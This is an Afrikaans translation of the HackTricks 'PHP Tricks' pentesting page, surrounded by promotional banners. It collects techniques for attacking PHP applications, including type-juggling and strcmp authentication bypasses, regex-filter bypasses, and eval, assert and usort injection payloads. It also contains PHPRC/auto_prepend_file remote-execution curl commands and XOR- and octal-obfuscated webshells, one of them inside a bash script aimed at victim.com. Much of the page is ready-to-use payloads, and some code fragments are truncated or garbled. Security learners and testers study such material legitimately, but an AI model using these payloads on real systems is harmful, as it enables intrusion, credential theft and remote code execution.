.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP Truuks
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Koekies algemene plek:
Dit is ook geldig vir phpMyAdmin-koekies.
Koekies:
PHPSESSID
phpMyAdmin
Plekke:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Oorskrywing van PHP-vergelykings
Los vergelykings/Tipe Jonglering ( == )
Indien ==
in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag gedra nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omskep is, as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy ===
gebruik.
PHP-vergelykingstabelle: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer"0xAAAA" == "43690" -> True
Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met True as resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)"0e3264578" == 0 --> True
'n String wat met "0e" begin en gevolg deur enigiets, sal gelyk wees aan 0"0X3264578" == 0X --> True
'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0"0e12334" == "0" --> True
Dit is baie interessant omdat in sommige gevalle jy die string invoer van "0" kan beheer en sommige inhoud wat gehash en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan reeds gehasde strings met hierdie formaat hier vind: https://github.com/spaze/hashes"X" == 0 --> True
Enige letter in 'n string is gelyk aan int 0
Meer inligting in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Tipe Jonglering beïnvloed ook die in_array()
-funksie standaard (jy moet die derde argument na waar stel om 'n streng vergelyking te maak):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Indien hierdie funksie gebruik word vir enige verifikasie kontrole (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë array stuur in plaas van 'n string as die waarde van die wagwoord (https://example.com/login.php/?username=admin&password[]=
) en sodoende hierdie kontroleer omseil:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Die dieselfde fout kom voor met strcasecmp()
Streng tipe Jonglering
Selfs as ===
gebruik word kan daar foute wees wat die vergelyking vatbaar maak vir tipe jonglering. Byvoorbeeld, as die vergelyking die data omskakel na 'n ander tipe voorwerp voordat dit vergelyk word:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
kan gebruik word om gebruikersinvoer te valideer (dit kontroleer of enige woord/regex van 'n swartlys teenwoordig is in die gebruikersinvoer en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
Nuwe lyn omseiling
Maar, wanneer die begin van die regexp afgebaken word, preg_match()
kontroleer slegs die eerste lyn van die gebruikersinvoer, dus as jy die invoer op een of ander manier in verskeie lyne kan stuur, kan jy hierdie kontrole omseil. Voorbeeld:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (%0A
) of as jy JSON data kan stuur, stuur dit in verskeie lyne:
{
"cmd": "cat /etc/passwd"
}
Vind 'n voorbeeld hier: https://ramadistra.dev/fbctf-2019-rceservice
Lengte fout omseiling
(Hierdie omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)
As jy 'n geldige baie groot inset aan preg_match()
kan stuur, sal dit nie in staat wees om dit te verwerk nie en jy sal die kontrole kan omseil. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
ReDoS Omgang
In kort gebeur die probleem omdat die preg_*
funksies in PHP bou op die PCRE-biblioteek. In PCRE word sekere regulêre uitdrukkings deur middel van baie herhalende oproepe geëvalueer, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet standaard 100.000 wat meer is as wat in die stak pas.
Hierdie Stackoverflow-draad is ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:
Stuur 'n inset wat die regex 100_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die preg_match()
funksie false
laat teruggee en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload iets soos {system(<verybadcommand>)}
gooi om SSTI --> RCE --> vlag te kry :).
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoorslagstappe", wat soos die PHP-dokumentasie dit stel, is dit standaard 1_000_000 (1M) in die pcre.backtrack_limit
veranderlike.
Om dit te bereik, sal 'X'*500_001
lei tot 1 miljoen terugspoorslagstappe (500k vorentoe en 500k agtertoe):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Tipe Jonglering vir PHP verduistering
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Voer Uit Na Omleiding (EAR)
As PHP na 'n ander bladsy omleiding doen, maar geen die
of exit
funksie word na die stel van die Location
header geroep nie, gaan PHP voort met die uitvoer en voeg die data by die liggaam:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Pad Traversal en Lêer Insleep Exploitasie
Kyk:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Meer truuks
- register_globals: In PHP < 4.1.1.1 of indien verkeerd geconfigureer, register_globals mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $_GET as hulle 'n waarde het bv. $_GET["param"]="1234", kan jy dit benader via $param. Dus, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe wat binne die kode gebruik word.
- Die PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor, daarom as binne 'n domein verskillende koekies in verskillende paaie gebruik word kan jy maak dat 'n pad die koekie van die pad benader deur die waarde van die ander pad se koekie in te stel.
Op hierdie manier, as beide paaie 'n veranderlike met dieselfde naam benader kan jy maak dat die waarde van daardie veranderlike in pad1 van toepassing is op pad2. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2). - Wanneer jy die gebruikersname van die gebruikers van die masjien het. Kyk na die adres: /~<USERNAME> om te sien of die php-gidse geaktiveer is.
- LFI en RCE deur php wrappers te gebruik
password_hash/password_verify
Hierdie funksies word tipies in PHP gebruik om hasse van wagwoorde te genereer en om te kontroleer of 'n wagwoord korrek is in vergelyking met 'n has.
Die ondersteunde algoritmes is: PASSWORD_DEFAULT
en PASSWORD_BCRYPT
(begin met $2y$
). Let daarop dat PASSWORD_DEFAULT dikwels dieselfde as PASSWORD_BCRYPT is. En tans het PASSWORD_BCRYPT 'n groottebeperking in die inset van 72 byte. Daarom, as jy probeer om iets groter as 72 byte met hierdie algoritme te has, sal slegs die eerste 72B gebruik word:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP koppe om PHP-foute te misbruik omseil
Indien 'n PHP-bladsy foute druk en sekere insette wat deur die gebruiker voorsien word terugskryf, kan die gebruiker die PHP-bediener laat terugskryf met 'n inhoud wat lank genoeg is, sodat wanneer dit probeer om die koppe by die antwoord te voeg, die bediener 'n fout sal veroorsaak.
In die volgende scenario het die aanvaller die bediener groot foute laat veroorsaak, en soos gesien kan word in die skerm toe php probeer om die kopinligting te wysig, kon dit nie (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
Kode-uitvoering
system("ls");
`ls`;
shell_exec("ls");
Kyk hier vir meer nuttige PHP-funksies
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Om die kode in die "replace" argument uit te voer, is ten minste een ooreenstemming nodig.
Hierdie opsie van preg_replace is verouder vanaf PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Hierdie funksie binne php stel jou in staat om kode wat geskryf is in 'n string uit te voer om waar of vals terug te keer (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruiker veranderlike in die middel van 'n string ingevoeg word. Byvoorbeeld:
assert("strpos($_GET['page']),'..') === false")
--> In hierdie geval om RCE te kry, kan jy:
?page=a','NeVeR') === false and system('ls') and strpos('a
Jy sal die kode sintaksie moet breek, jou lading byvoeg, en dit dan weer regmaak. Jy kan logiese operasies soos "en" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Dieselfde geld vir ";", dit sal nie werk nie omdat ons lading nie uitgevoer sal word nie.
Ander opsie is om die uitvoering van die opdrag by die string te voeg: '.highlight_file('.passwd').'
Ander opsie (as jy die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: $file = "hola"
RCE via usort()
Hierdie funksie word gebruik om 'n lys items te sorteer met behulp van 'n spesifieke funksie.
Om hierdie funksie te misbruik:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
RCE via .httaccess
As jy 'n .htaccess kan oplaai, kan jy verskeie dinge konfigureer en selfs kode uitvoer (deur daardie lêers met die uitbreiding .htaccess te laat uitvoer).
Verskillende .htaccess doppe kan hier gevind word hier
RCE via Env Variables
As jy 'n kwesbaarheid vind wat jou toelaat om omgewingsveranderlikes in PHP te wysig (en nog een om lêers op te laai, alhoewel dit met meer navorsing dalk omseil kan word), kan jy hierdie gedrag misbruik om RCE te kry.
LD_PRELOAD
: Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander bineêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).PHPRC
: Instrueer PHP oor waar om sy konfigurasie lêer te vind, gewoonlik genoemphp.ini
. As jy jou eie konfigurasie lêer kan oplaai, gebruik danPHPRC
om PHP daarheen te wys. Voeg 'nauto_prepend_file
inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale PHP-kode wat dan uitgevoer word deur die PHP-uitvoeringseenheid voor enige ander kode.
- Laai 'n PHP-lêer op wat ons skelkode bevat
- Laai 'n tweede lêer op wat 'n
auto_prepend_file
riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer - Stel die
PHPRC
veranderlike in op die lêer wat ons in stap 2 opgelaai het.
- Kry meer inligting oor hoe om hierdie ketting uit te voer vanaf die oorspronklike verslag.
- PHPRC - 'n ander opsie
- As jy nie lêers kan oplaai nie, kan jy in FreeBSD die "lêer"
/dev/fd/0
gebruik wat diestdin
bevat, wat die liggaam van die versoek wat na diestdin
gestuur is: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Of om RCE te kry, aktiveer
allow_url_include
en voeg 'n lêer met base64 PHP-kode voor: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Tegniek vanaf hierdie verslag.
PHP Statische analise
Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van hier):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Indien jy 'n PHP-aansoek aan die foutopsporing is, kan jy foutdruk globaal aktiveer in /etc/php5/apache2/php.ini
deur display_errors = On
by te voeg en Apache te herlaai: sudo systemctl restart apache2
Ontsleuteling van PHP-kode
Jy kan die web www.unphp.net gebruik om PHP-kode te ontsluit.
PHP Omhulsels & Protokolle
PHP-omhulsels en protokolle kan jou in staat stel om skryf- en leesbeskerming te omseil in 'n stelsel en dit te kompromiteer. Vir meer inligting kyk na hierdie bladsy.
Xdebug ongeagte RCE
As jy sien dat Xdebug geaktiveer is in 'n phpconfig()
-uitset, moet jy probeer om RCE te kry via https://github.com/nqxcode/xdebug-exploit
Veranderlike veranderlikes
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE misbruik nuwe $_GET["a"]($_GET["b"])
As in 'n bladsy jy kan 'n nuwe objek van 'n willekeurige klas skep kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Voer PHP uit sonder letters
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Gebruik van oktaal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
XOR (Exclusive OR) is 'n logiese operasie wat dikwels gebruik word in kriptografie en programmering. Dit is 'n bietjiewysoperasie wat twee bietjies vergelyk en 'n nuwe bietjie produseer wat slegs waar is as die twee oorspronklike bietjies verskil. In kriptografie word XOR dikwels gebruik vir dataversleuteling en dataontsluiting. In programmering kan XOR gebruik word vir verskeie doeleindes, soos die omkeer van bietjies of die skep van unieke sleutels.
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR maklike dop-kode
Volgens hierdie skryfstuk is dit moontlik om 'n maklike dop-kode op hierdie manier te genereer:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
So, as jy arbitrêre PHP sonder syfers en letters kan uitvoer, kan jy 'n versoek stuur soos die volgende wat misbruik maak van daardie lading om arbitrêre PHP uit te voer:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Vir 'n meer diepgaande verduideliking, kyk na https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (binne eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl soos
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.